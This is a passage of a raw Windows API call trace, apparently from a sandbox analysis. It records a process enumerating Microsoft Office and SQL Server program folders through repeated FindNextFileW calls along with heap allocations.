nFileSizeHigh=0x0, nFileSizeLow=0x468050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.Tools.Windows.dll", cAlternateFileName="SY9B72~1.DLL")) returned 1 [0235.428] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x306048, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.XlsIO.Base.dll", cAlternateFileName="SY774A~1.DLL")) returned 1 [0235.429] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x306048, dwReserved0=0x0, dwReserved1=0x0, cFileName="SyncFusion.XlsIO.Base.dll", cAlternateFileName="SY774A~1.DLL")) returned 0 [0235.429] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0235.429] GetProcessHeap () returned 0xc10000 [0235.429] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0235.429] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd33f011b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd33f011b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd360620a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d690, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Interceptor.dll", cAlternateFileName="INTERC~1.DLL")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35213f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Interceptor.tlb", cAlternateFileName="INTERC~1.TLB")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd324c72e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="JitV.dll", cAlternateFileName="")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11448, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d1e9216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0235.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MINSBPROXY.DLL", cAlternateFileName="MINSBP~1.DLL")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86cced8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MINSBROAMINGPROXY.DLL", cAlternateFileName="MINSBR~1.DLL")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf016e209, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3085a99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSB.DLL", cAlternateFileName="")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0f23aa6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d19cde8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0235.431] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c83c72, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c83c72, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7c83c72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x519a5bb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x519a5bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d25b938, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6ac83cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d25b938, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6735b3a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6735b3a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6781ff8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0235.432] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf134fca5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OCHelper.dll", cAlternateFileName="")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5df79a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5df79a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d1e9216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f260, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27878, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7a2268a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7a2268a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14888, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFPROXY.DLL", cAlternateFileName="")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OSFROAMINGPROXY.DLL", cAlternateFileName="OSFROA~1.DLL")) returned 1 [0235.433] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e91324, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OWSCLT.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc692f34, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc692f34, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d20f472, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2658c8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3760836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3760836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x236d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c45b55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c45b55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c6bda4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62e70, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0235.434] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0235.435] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa6d5947, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa6d5947, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa82ce6a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0235.435] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb62ec35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb62ec35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f1250, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0235.435] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a18be3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a18be3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dbe50b1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4d650, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0235.435] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a18be3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a18be3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dbe50b1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4d650, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0235.435] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0235.436] GetProcessHeap () returned 0xc10000 [0235.436] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0235.437] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0235.438] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0235.438] GetProcessHeap () returned 0xc10000 [0235.438] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0235.438] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0235.439] GetProcessHeap () returned 0xc10000 [0235.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0235.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0235.721] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, 